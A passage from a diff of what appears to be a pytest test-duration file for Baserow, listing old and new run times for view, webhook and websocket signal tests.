"tests/baserow/contrib/database/view/test_view_models.py::test_view_sort_manager_field_trashed": 0.01984708299914928, - "tests/baserow/contrib/database/view/test_view_models.py::test_view_sort_manager_view_trashed": 0.022382959000424307, - "tests/baserow/contrib/database/view/test_view_notification_types.py::test_all_interested_users_receive_the_notification_on_form_submit": 0.7559650429993781, - "tests/baserow/contrib/database/view/test_view_notification_types.py::test_can_user_receive_notification_for_all_interesting_field_values": 4.289079125999706, - "tests/baserow/contrib/database/view/test_view_notification_types.py::test_form_submit_notification_can_be_render_as_email": 0.36698241799967946, - "tests/baserow/contrib/database/view/test_view_notification_types.py::test_only_users_with_access_to_the_table_receive_the_notification_on_form_submit": 0.563218584000424, - "tests/baserow/contrib/database/view/test_view_notification_types.py::test_user_receive_notification_on_form_submit": 0.5726772090001759, - "tests/baserow/contrib/database/view/test_view_signals.py::test_view_loaded_creates_last_modified_by_column": 0.14792470799966395, - "tests/baserow/contrib/database/view/test_view_tasks.py::test_update_view_index_ignore_missing_view": 0.012028874999487016, - "tests/baserow/contrib/database/view/test_view_types.py::test_convert_card_cover_image_field_deleted": 0.16239162500005477, - "tests/baserow/contrib/database/view/test_view_types.py::test_convert_card_cover_image_field_to_another": 0.17102191600042715, - "tests/baserow/contrib/database/view/test_view_types.py::test_convert_to_incompatible_field_in_form_view": 0.17757512600019254, - "tests/baserow/contrib/database/view/test_view_types.py::test_grid_view_field_type_change": 0.20285179099846573, - "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_form_view": 0.189926165999168, - "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_gallery_view": 0.16947691699988354, - "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_grid_view": 0.035489417999997386, - "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_view_ownership_type": 0.2911192499996105, - "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_view_ownership_type_created_by_backward_compatible": 0.2844626660007634, - "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_view_ownership_type_not_in_registry": 0.2819966660008504, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_view_ownership_type_non_existing": 0.11620400001993403, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_view_slug_ownership_type": 0.2039455000194721, + "tests/baserow/contrib/database/view/test_view_handler.py::test_updating_view_sorts_creates_a_new_index_and_delete_the_unused_one": 0.414176875987323, + "tests/baserow/contrib/database/view/test_view_handler.py::test_view_loaded_replaces_index_with_diff_collation": 0.3738678740046453, + "tests/baserow/contrib/database/view/test_view_models.py::test_form_view_field_options_conditions_manager_field_trashed": 0.05352525002672337, + "tests/baserow/contrib/database/view/test_view_models.py::test_form_view_field_options_manager_field_trashed": 0.057363083004020154, + "tests/baserow/contrib/database/view/test_view_models.py::test_form_view_field_options_manager_view_trashed": 0.057962375023635104, + "tests/baserow/contrib/database/view/test_view_models.py::test_gallery_view_field_options_manager_field_trashed": 0.060560665995581076, + "tests/baserow/contrib/database/view/test_view_models.py::test_gallery_view_field_options_manager_view_trashed": 0.06229128999984823, + "tests/baserow/contrib/database/view/test_view_models.py::test_grid_view_field_options_manager_field_trashed": 0.05942795900045894, + "tests/baserow/contrib/database/view/test_view_models.py::test_grid_view_field_options_manager_view_trashed": 0.061190833017462865, + "tests/baserow/contrib/database/view/test_view_models.py::test_migration_remove_duplicate_fieldoptions": 8.366702240891755e-05, + "tests/baserow/contrib/database/view/test_view_models.py::test_migration_remove_stale_fieldoptions": 6.995801231823862e-05, + "tests/baserow/contrib/database/view/test_view_models.py::test_public_view_password": 0.4479044169711415, + "tests/baserow/contrib/database/view/test_view_models.py::test_rotate_view_slug": 0.0531088320130948, + "tests/baserow/contrib/database/view/test_view_models.py::test_view_decoration_manager_view_trashed": 0.04995487499400042, + "tests/baserow/contrib/database/view/test_view_models.py::test_view_filter_manager_field_trashed": 0.05628929199883714, + "tests/baserow/contrib/database/view/test_view_models.py::test_view_filter_manager_view_trashed": 0.05424591602059081, + "tests/baserow/contrib/database/view/test_view_models.py::test_view_get_field_options": 0.12436983399675228, + "tests/baserow/contrib/database/view/test_view_models.py::test_view_hierarchy": 0.14573279197793454, + "tests/baserow/contrib/database/view/test_view_models.py::test_view_sort_manager_field_trashed": 0.06445779098430648, + "tests/baserow/contrib/database/view/test_view_models.py::test_view_sort_manager_view_trashed": 0.060844875988550484, + "tests/baserow/contrib/database/view/test_view_notification_types.py::test_all_interested_users_receive_the_notification_on_form_submit": 0.73486095800763, + "tests/baserow/contrib/database/view/test_view_notification_types.py::test_can_user_receive_notification_for_all_interesting_field_values": 18.38572150003165, + "tests/baserow/contrib/database/view/test_view_notification_types.py::test_form_submit_notification_can_be_render_as_email": 0.4756455419701524, + "tests/baserow/contrib/database/view/test_view_notification_types.py::test_only_users_with_access_to_the_table_receive_the_notification_on_form_submit": 0.6367682099516969, + "tests/baserow/contrib/database/view/test_view_notification_types.py::test_user_receive_notification_on_form_submit": 0.595842334034387, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_are_called_when_fields_change": 0.24207504096557386, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_are_called_when_rows_created_or_deleted": 0.6119966249389108, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_are_called_when_rows_updated": 0.48712458298541605, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_are_called_when_view_filter_groups_change": 0.19888587499735877, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_are_called_when_view_filters_change": 0.1733125829778146, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_when_data_changes_in_looked_up_tables": 0.5759120830043685, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_when_time_sensitive_filters_are_used": 0.4275402089988347, + "tests/baserow/contrib/database/view/test_view_signals.py::test_rows_enter_and_exit_view_with_periodic_fields_updates": 0.30238970802747644, + "tests/baserow/contrib/database/view/test_view_signals.py::test_view_loaded_creates_last_modified_by_column": 0.10809758401592262, + "tests/baserow/contrib/database/view/test_view_tasks.py::test_update_view_index_ignore_missing_view": 0.029869998979847878, + "tests/baserow/contrib/database/view/test_view_tasks.py::test_update_view_index_is_rescheduled_if_cannot_take_lock": 0.3349552089930512, + "tests/baserow/contrib/database/view/test_view_types.py::test_convert_card_cover_image_field_deleted": 0.1465114159800578, + "tests/baserow/contrib/database/view/test_view_types.py::test_convert_card_cover_image_field_to_another": 0.167102873994736, + "tests/baserow/contrib/database/view/test_view_types.py::test_convert_to_incompatible_field_in_form_view": 0.17254533400409855, + "tests/baserow/contrib/database/view/test_view_types.py::test_grid_view_field_type_change": 0.22238620900316164, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_form_view": 0.1448455839708913, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_form_view_with_allowed_select_options": 0.21016354000312276, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_form_view_with_conditions_in_groups": 0.21253479202277958, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_form_view_with_grouped_conditions": 0.15945791700505652, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_gallery_view": 0.16081966701312922, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_grid_view": 0.08663854098995216, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_view_ownership_type": 0.20533508402877487, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_view_ownership_type_created_by_backward_compatible": 0.18688279201160185, + "tests/baserow/contrib/database/view/test_view_types.py::test_import_export_view_ownership_type_not_in_registry": 0.1927519170276355, + "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_other_fields_are_hidden[gallery-True]": 0.15879008400952443, "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_other_fields_are_hidden[gallery]": 0.16530537499875209, + "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_other_fields_are_hidden[grid-False]": 0.1569770419737324, "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_other_fields_are_hidden[grid]": 0.17362095899898122, + "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_public[gallery-True]": 0.13286179202259518, "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_public[gallery]": 0.15802274999987276, + "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_public[grid-False]": 0.13509787499788217, "tests/baserow/contrib/database/view/test_view_types.py::test_new_fields_are_hidden_by_default_in_views_if_public[grid]": 0.1626142910008639, - "tests/baserow/contrib/database/view/test_view_types.py::test_newly_created_gallery_view": 0.17376691499976005, + "tests/baserow/contrib/database/view/test_view_types.py::test_newly_created_gallery_view": 0.14724691701121628, "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_group_storage_usage_item": 0.17391056699852925, "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_group_storage_usage_item_duplicate_ids": 0.12197915800425108, "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_group_storage_usage_item_duplicate_ids_within_image_category": 0.17145108100157813, "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_group_storage_usage_item_performance": 0.00022337100017466582, "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_group_storage_usage_item_trashed_database": 0.17885833900072612, "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_group_storage_usage_item_trashed_table": 0.1783668360003503, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item": 0.41474625000046217, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_duplicate_ids": 0.2864555409996683, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_duplicate_ids_within_image_category": 0.40978337499927875, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_performance": 0.0001352499984932365, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_trashed_database": 0.411689208000098, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_trashed_table": 0.4227689589988586, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_get_workspace_row_count_annotation_ignores_trashed_databases": 0.15056479099985154, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_get_workspace_row_count_annotation_ignores_trashed_tables": 0.15681254300034198, - "tests/baserow/contrib/database/view/test_view_usage_types.py::test_get_workspace_row_count_annotation_sums_all_database_tables_row_counts": 0.16731533400070475, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_clean_webhook_calls": 0.027786791999460547, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_create_webhook": 0.4741226659998574, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_delete_webhook": 0.29189429100006237, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_find_webhooks_to_call": 0.030520998999236326, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item": 0.2622274999739602, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_duplicate_ids": 0.1842582919925917, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_duplicate_ids_within_image_category": 0.27120108300005086, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_performance": 9.141600457951427e-05, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_trashed_database": 0.2748816659732256, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_form_view_workspace_storage_usage_item_trashed_table": 0.2734912500018254, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_get_workspace_row_count_annotation_ignores_trashed_databases": 0.12244629100314341, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_get_workspace_row_count_annotation_ignores_trashed_tables": 0.1271861249988433, + "tests/baserow/contrib/database/view/test_view_usage_types.py::test_get_workspace_row_count_annotation_sums_all_database_tables_row_counts": 0.14843070800998248, + "tests/baserow/contrib/database/view/test_view_webhook_event_types.py::test_view_created_event_type": 0.11625591703341343, + "tests/baserow/contrib/database/view/test_view_webhook_event_types.py::test_view_created_event_type_test_payload": 0.11159129199222662, + "tests/baserow/contrib/database/view/test_view_webhook_event_types.py::test_view_deleted_event_type": 0.12087862403132021, + "tests/baserow/contrib/database/view/test_view_webhook_event_types.py::test_view_deleted_event_type_test_payload": 0.11155604201485403, + "tests/baserow/contrib/database/view/test_view_webhook_event_types.py::test_view_updated_event_type": 0.11502212498453446, + "tests/baserow/contrib/database/view/test_view_webhook_event_types.py::test_view_updated_event_type_test_payload": 0.11453733401140198, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_clean_webhook_calls": 0.06634579197270796, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_create_webhook": 0.4123521249857731, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_delete_webhook": 0.20569937501568347, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_find_webhooks_to_call": 0.07315308399847709, "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_find_webhooks_to_call_deprecated_event_types": 0.023759333999805676, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_get_all_table_webhooks": 0.28561637500115467, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_get_webhook": 0.2816304580001088, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_trigger_test_call": 0.31114749900007155, - "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_update_webhook": 0.4562046660003034, - "tests/baserow/contrib/database/webhooks/test_webhook_models.py::test_header_validation": 0.17521216699969955, - "tests/baserow/contrib/database/webhooks/test_webhook_registries.py::test_signal_listener": 0.32110145800015744, - "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook": 0.2121519169986641, - "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_can_call_webhook_to_localhost_when_private_addresses_allowed": 0.18765275000077963, - "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_cant_call_webhook_to_localhost_when_private_addresses_not_allowed": 0.18379224899945257, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_blacklist_rules": 0.010864040999877034, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_blocks_internal_address": 0.009720165999169694, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_blocks_invalid_urls": 0.009695209000710747, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_combination_of_whitelist_blacklist_rules": 0.010836376000952441, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_hostname_blacklist_overrides_ip_lists": 0.010530166999160429, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_whitelist_rules": 0.01027629199961666, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_hostname_blacklist_rules": 0.010430334001284791, - "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_hostname_blacklist_rules_only_allow_one_host": 0.01147958399997151, - "tests/baserow/contrib/database/webhooks/test_webhooks_actions.py::test_create_webhook_action_type": 0.15169725099985953, - "tests/baserow/contrib/database/webhooks/test_webhooks_actions.py::test_delete_webhook_action_type": 0.15544095800032665, - "tests/baserow/contrib/database/webhooks/test_webhooks_actions.py::test_update_webhook_action_type": 0.15448154200112185, - "tests/baserow/contrib/database/ws/async/test_ws_table_signals_async.py::test_unsubscribe_subject_from_table_workspace_user_deleted": 0.4968880420001369, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_cover_image_is_always_included_in_field_update_signal[gallery]": 0.17832449999968958, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_cover_image_is_always_included_in_field_update_signal[grid]": 0.33463287399990804, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_get_all_table_webhooks": 0.20887500001117587, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_get_webhook": 0.20387404202483594, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_trigger_test_call": 0.20218812502571382, + "tests/baserow/contrib/database/webhooks/test_webhook_handler.py::test_update_webhook": 0.41965437500039116, + "tests/baserow/contrib/database/webhooks/test_webhook_models.py::test_header_validation": 0.25204862499958836, + "tests/baserow/contrib/database/webhooks/test_webhook_notification_types.py::test_webhook_deactivated_notification_can_be_render_as_email": 0.1219604589859955, + "tests/baserow/contrib/database/webhooks/test_webhook_notification_types.py::test_webhook_payload_too_large_can_be_render_as_email": 0.11786558298626915, + "tests/baserow/contrib/database/webhooks/test_webhook_registries.py::test_signal_listener": 0.3458018329984043, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook": 0.2682018320192583, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_becomes_inactive_max_failed_reached": 0.2606887929723598, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_concurrent_task_moved_to_queue": 0.2830845419957768, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_failed_reached_notification_send": 0.5975710820348468, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_next_item_scheduled": 0.27165429200977087, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_payload_too_large_send_notification": 0.6091272089979611, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_reset_after_success_call": 0.2572825840325095, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_skipped_because_not_active": 0.25704870795016177, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_webhook_does_not_exist": 0.24982020797324367, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_call_webhook_webhook_url_cannot_be_reached": 0.2639928760181647, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_can_call_webhook_to_localhost_when_private_addresses_allowed": 0.26811362500302494, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_cant_call_webhook_to_localhost_when_private_addresses_not_allowed": 0.28170724998926744, + "tests/baserow/contrib/database/webhooks/test_webhook_tasks.py::test_webhook_with_paginated_payload": 0.2692303750081919, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_blacklist_rules": 0.01704637598595582, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_blocks_internal_address": 0.015906042011920363, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_blocks_invalid_urls": 0.014172750001307577, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_combination_of_whitelist_blacklist_rules": 0.017682334000710398, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_hostname_blacklist_overrides_ip_lists": 0.014604249998228624, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_advocate_whitelist_rules": 0.015430083993123844, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_hostname_blacklist_rules": 0.014459249010542408, + "tests/baserow/contrib/database/webhooks/test_webhook_validators.py::test_hostname_blacklist_rules_only_allow_one_host": 0.01580833303160034, + "tests/baserow/contrib/database/webhooks/test_webhooks_actions.py::test_create_webhook_action_type": 0.11802241700934246, + "tests/baserow/contrib/database/webhooks/test_webhooks_actions.py::test_delete_webhook_action_type": 0.11973279097583145, + "tests/baserow/contrib/database/webhooks/test_webhooks_actions.py::test_update_webhook_action_type": 0.11728270800085738, + "tests/baserow/contrib/database/ws/async/test_ws_table_signals_async.py::test_unsubscribe_subject_from_table_workspace_user_deleted": 0.44010474998503923, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_cover_image_is_always_included_in_field_update_signal[gallery]": 0.24201616598293185, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_cover_image_is_always_included_in_field_update_signal[grid]": 0.36463208301574923, "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_created_public_views_are_sent_field_created_with_restricted_related": 0.7999048599958769, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_created_public_views_are_sent_field_created_with_restricted_related[gallery]": 0.18307400100093218, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_created_public_views_are_sent_field_created_with_restricted_related[grid]": 0.4268741260002571, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_created_public_views_are_sent_field_created_with_restricted_related[gallery]": 0.24037174999830313, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_created_public_views_are_sent_field_created_with_restricted_related[grid]": 0.4831786669965368, "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_deleted_public_views_are_field_deleted_with_restricted_related": 0.6961261030010064, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_deleted_public_views_are_field_deleted_with_restricted_related[gallery]": 0.16851766600029805, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_deleted_public_views_are_field_deleted_with_restricted_related[grid]": 0.42481683299956785, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_deleted_public_views_are_field_deleted_with_restricted_related[gallery]": 0.2400001659989357, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_deleted_public_views_are_field_deleted_with_restricted_related[grid]": 0.4818504590075463, "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_restored_public_views_sent_event_with_restricted_related_fields": 0.8256992429996899, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_restored_public_views_sent_event_with_restricted_related_fields[gallery]": 0.17637174899937236, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_restored_public_views_sent_event_with_restricted_related_fields[grid]": 0.47432349999962753, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_restored_public_views_sent_event_with_restricted_related_fields[gallery]": 0.23643462598556653, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_restored_public_views_sent_event_with_restricted_related_fields[grid]": 0.518067917029839, "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_updated_public_views_are_sent_event_with_restricted_related": 0.7728820679949422, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_updated_public_views_are_sent_event_with_restricted_related[gallery]": 0.16790108399982273, - "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_updated_public_views_are_sent_event_with_restricted_related[grid]": 0.43256550099977176, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_updated_public_views_are_sent_event_with_restricted_related[gallery]": 0.2519854169804603, + "tests/baserow/contrib/database/ws/public/test_public_ws_fields_signals.py::test_when_field_updated_public_views_are_sent_event_with_restricted_related[grid]": 0.48439100000541657, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_restricted_row_created_ws_event": 0.6818467019984382, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_restricted_row_created_ws_event[gallery]": 0.1665512090003176, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_restricted_row_created_ws_event[grid]": 0.34405574900029023, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_restricted_row_created_ws_event[gallery]": 0.2449989159940742, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_restricted_row_created_ws_event[grid]": 0.383443124970654, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_row_created_when_filters_match": 0.7161485610013187, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_row_created_when_filters_match[gallery]": 0.17291745900001843, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_row_created_when_filters_match[grid]": 0.3899882510004318, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_row_created_when_filters_match[gallery]": 0.24952458404004574, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_row_created_when_filters_match[grid]": 0.47325545898638666, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_rows_created_only_when_filters_match": 0.698915578002925, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_rows_created_only_when_filters_match[gallery]": 0.17629283299993403, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_rows_created_only_when_filters_match[grid]": 0.4153671250005573, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_rows_created_only_when_filters_match[gallery]": 0.24852670799009502, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_created_public_views_receive_rows_created_only_when_filters_match[grid]": 0.4553766650205944, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_restricted_row_deleted_ws_event": 0.7216930350004986, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_restricted_row_deleted_ws_event[gallery]": 0.16865129100006016, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_restricted_row_deleted_ws_event[grid]": 0.3490323760015599, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_restricted_row_deleted_ws_event[gallery]": 0.24961150001036003, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_restricted_row_deleted_ws_event[grid]": 0.37994216702645645, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_row_deleted_only_when_filters_match": 0.7568795789993601, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_row_deleted_only_when_filters_match[gallery]": 0.16677816799892753, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_row_deleted_only_when_filters_match[grid]": 0.39175191599952086, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_row_deleted_only_when_filters_match[gallery]": 0.2508063739805948, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_rows_deleted_public_views_receive_row_deleted_only_when_filters_match[grid]": 0.4237408749759197, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_not_visible_in_public_view_to_be_visible_event_sent": 0.7400782949989662, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_not_visible_in_public_view_to_be_visible_event_sent[gallery]": 0.17700329099989176, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_not_visible_in_public_view_to_be_visible_event_sent[grid]": 0.4182528330002242, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_not_visible_in_public_view_to_be_visible_event_sent[gallery]": 0.2497703749977518, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_not_visible_in_public_view_to_be_visible_event_sent[grid]": 0.45780841703526676, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_some_not_visible_in_public_view_to_be_visible_event_sent": 0.6767763280040526, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_some_not_visible_in_public_view_to_be_visible_event_sent[gallery]": 0.1667941260002408, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_some_not_visible_in_public_view_to_be_visible_event_sent[grid]": 0.41785720999996556, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_some_not_visible_in_public_view_to_be_visible_event_sent[gallery]": 0.2428474579937756, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_some_not_visible_in_public_view_to_be_visible_event_sent[grid]": 0.45394375000614673, "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_still_be_visible_event_sent": 0.704381565003132, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_still_be_visible_event_sent[gallery]": 0.18497829199986882, - "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_still_be_visible_event_sent[grid]": 0.40783525000006193, + "tests/baserow/contrib/database/ws/public/test_public_ws_rows_signals.py::test_batch_update_rows_visible_in_public_view_still_be_visible_event_sent[gallery]": 0.24116666696500033, + 